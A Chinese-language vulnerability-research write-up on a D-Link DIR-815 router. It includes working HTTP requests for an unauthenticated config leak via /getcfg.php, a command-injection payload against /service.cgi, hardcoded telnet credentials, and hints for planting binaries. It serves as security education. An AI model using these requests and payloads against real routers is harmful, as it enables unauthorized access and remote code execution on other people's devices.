以DLink為例教你如何挖掘漏洞
一、前言
聰明的人喜歡說:「一分價錢一分貨」,這道理對編程來說同樣適用。就我個人而言,我更喜歡能以較少代價獲取廉價產品的那些商店。話雖如此,聖誕節期間我倍感無聊,決定扔掉許多老舊硬體。在扔掉這些硬體之前,我靈機一動,想給其中一些硬體來次模糊測試(fuzz)。本文介紹了我在24小時內(關鍵工作僅花了4小時時間)對D-Link 815N設備的研究結果。
授人予魚不如授人予漁,本文的目的並不是向大家介紹一個可以用來干翻全世界的0Day漏洞,而是介紹尋找這些漏洞的一種方法。
聲明:我花了幾分鐘時間翻了翻D-Link官網,並沒有在官網找到提交漏洞的地方。
二、掃描目標設備
這個步驟中最難的一關其實是找到這款路由器的電源線。啟動路由器、接入開發環境後,第一要務就是找到正確的登錄密碼。這方面Dlink非常慷慨,使用的用戶名為admin
,沒有密碼。
接下來,我啟用了路由器的「Remote Management(遠程管理)」功能,這樣就能模擬通過互聯網訪問該路由器的應用場景。然後我使用了netcat
工具,簡單探測訪問遠程管理介面時能得到哪些指紋信息(banner),返回結果如下所示:
nc 10.0.0.1 8080HEAD / HTTP/1.1HTTP/1.1 400 Bad RequestServer: Linux, HTTP/1.1, DIR-815 Ver 1.03Date: Sat, 27 Jan 2001 02:48:12 GMT
在Shodan.io上查詢關鍵字後,我發現大約有700個設備會返回同樣的信息。
三、理解工作原理
進展到這一步後,我想要了解這款路由器如何實現身份認證、如何載入頁面。為了完成這一任務,我在Chrome瀏覽器中啟用了開發者工具(Firefox同樣支持該功能),開始觀察「network」標籤頁的輸出結果。成功登錄時,我發現瀏覽器會向/session.cgi
路徑發送一個POST請求,返回結果為簡單的XML數據(其中不包含與會話(session)有關的信息)。
nc 10.0.0.1 8080Content-Type: application/x-www-form-urlencoded; charset=UTF-8Host: localhostCookie: uid=DumMyTokENContent-Length: 68ACTION=login_plaintext&PASSWD=&CAPTCHA=&USER=admin&REPORT_METHOD=xmlHTTP/1.1 200 OKServer: Linux, HTTP/1.1, DIR-815 Ver 1.03Date: Sat, 27 Jan 2001 04:59:08 GMTTransfer-Encoding: chunkedContent-Type: text/xmla1<?xml version=」1.0″ encoding=」utf-8″?><report><RESULT>SUCCESS</RESULT><REASON></REASON><AUTHORIZED_GROUP>0</AUTHORIZED_GROUP><PELOTA></PELOTA></report>0
知道這一點後,我不禁有點小激動,因為這表明設備開發者可能只通過cookie來實現認證,而cookie正是我可以操控的變數。如果這些開發者的確這麼懶惰,也許我可以不經過身份認證就能訪問某些頁面。
瀏覽幾分鐘後,我注意到一個PHP頁面,許多頁面中會引用這個頁面。我開始使用Chrome以及開發者工具抓取相關的POST請求,然後在netcat中重放這些請求(未附加cookie)。
我找到了一處非常有趣的信息:DEVICE.ACCOUNT
,這也是我的最愛(稍後掃描程序可以使用這個信息來檢查默認憑據)。
POST /getcfg.php HTTP/1.1POST /getcfg.php HTTP/1.1Content-Type: application/x-www-form-urlencoded; charset=UTF-8Host: localhostContent-Length: 23SERVICES=DEVICE.ACCOUNTHTTP/1.1 200 OKServer: Linux, HTTP/1.1, DIR-815 Ver 1.03Date: Sat, 27 Jan 2001 05:07:42 GMTTransfer-Encoding: chunkedContent-Type: text/xml208<?xml version=」1.0″ encoding=」utf-8″?><postxml><module><service>DEVICE.ACCOUNT</service><device><account><seqno></seqno><max>1</max><count>1</count><entry><name>admin</name><password></password><group>0</group><description></description></entry></account><session><captcha>0</captcha><dummy>dummy</dummy><timeout>600</timeout><maxsession>128</maxsession><maxauthorized>16</maxauthorized></session></device></module></postxml>0
如果用戶設置了密碼,那麼上述結果中<password>
會變成==OoXxGgYy==
。在這裡我總共花了10分鐘,終於找到了不需要通過身份認證來掃描目標設備的一種方法,可以得到路由器所有介面的信息、連接到路由器的設備以及這些設備所對應的流量、DNS信息、日誌信息等等。大家可以在我的Github上找到完整列表。
四、拿到shell
此時我已經投入了幾個小時的時間,發現這款路由器就像一個「超級商店」那樣可以給我們提供許多有用的信息。然而,當我把這些成果展示給某位朋友時,他對此非常不屑,我還記得他說過的那句話:「如果真的那麼簡單,那麼拿一個shell給我看看!」
這句話把我推向了下一個環節,那就是確認路由器開發者是不是沒有對輸入進行驗證。於是我再次瀏覽一些頁面,搜尋帶有執行功能的目標網址,機緣巧合下,我找到了使用/service.cgi
的一個防火牆配置頁面。觀察POST請求後,我決定在正常提交數據後面追加一個&
符號以及ls
命令,然後再次提交請求(當然還要傳入用於身份認證的cookie值),結果如下:
root@kali:~# nc 10.0.0.1 8080POST /service.cgi HTTP/1.1Content-Type: application/x-www-form-urlencoded; charset=UTF-8Host: localhostContent-Length: 21Cookie: uid=DuMMyTokENEVENT=CHECKFW%26ls%26HTTP/1.1 200 OKServer: Linux, HTTP/1.1, DIR-815 Ver 1.03Date: Sat, 27 Jan 2001 09:25:03 GMTTransfer-Encoding: chunkedContent-Type: text/xml64<?xml version=」1.0″ encoding=」utf-8″?><report><result>OK</result><message></message></report>4cbwpsacts.phpwiz_wps.phpwiz_wlan.phpwiz_wan_fresetv6.phpwiz_wan.phpwifi_stat.php… <You get the point>0
大功告成。
五、綜合利用
可以說,此時我們已經找到了一個RCE(遠程代碼執行)漏洞,但我們還需要通過身份認證,這一點無需擔心,我們可以使用某種方法未授權訪問這款路由器,具體方法留給讀者來挖掘。
最後,我想把前面幾個步驟融入一個快速利用腳本中,這樣我們無需敲入許多命令就可以與路由器遠程交互,為此我寫了一個DLINK 815 Shell RCE程序。如果你對輕量級物聯網(IoT)設備有所了解的話,你會注意到這些設備都會運行busybox,我們可以在上面運行熟悉的一些命令,這一點非常好。
那麼,接下來我們可以做些啥?其實很簡單,我們可以啟用telnet功能,獲得較為穩定的shell:
/bin/cat /etc/init0.d/S80telnetd.sh#!/bin/shecho [$0]: $1 … > /dev/consoleif [ 「$1」 = 「start」 ];then if [ -f 「/usr/sbin/login」 ];then image_sign=`cat /etc/config/image_sign`telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &elsetelnetd &fielsekillall telnetdfi
注意:廠商非常親民,已經將telnet密碼硬編碼在/etc/config/image_sign
中。我對這些嵌入式設備的工作過程有點了解,因此我確信所有的D-Link 815N設備都會採用同樣的密碼。
六、臨時駐留
我知道在這些設備上的實現駐留並沒有太大意義,但我找不到更合適的名詞來闡述這個概念。這些設備不經常重啟,並且當它們啟動時,在正常運行前會重新釋放設備固件。這意味著當設備重啟時,我們放在設備上的所有痕迹也會隨風而逝,但畢竟設備不經常重啟,我們可以不用在意這個細節。
我並不會公布具體代碼,但如果你對Linux以及echo
命令比較熟悉,那麼你應該能找到一種方法,使用python之類的工具讀取某個二進位文件(如netcat
),將結果以某種形式輸出,然後將這些數據通過echo -e
方式存放到設備上的某個位置(比如/var/tmp
),這個過程中你需要了解目標設備的具體架構,可以參考此處了解更多信息。
2018年1月8日更新:來自Google的消息表明,如果我們訪問D-Link 645的/getcfg.php
頁面,那麼我們就能拿到明文形式的密碼。
將這個信息與/service.cgi
結合起來,你就可以掌握一切!
登錄安全客 - 有思想的安全新媒體www.anquanke.com/,或下載安全客APP來獲取更多最新資訊吧~
推薦閱讀:
※如何看待谷歌在微軟發布補丁之前公布並演示相關漏洞?
※Dirty Cow, CVE-2016-5195漏洞的危害大概怎麼樣,有沒有修復方案建議?
※什麼叫漏洞 hash?
※Android 上的漏洞「寄生獸」對普通用戶有何影響,如何防範?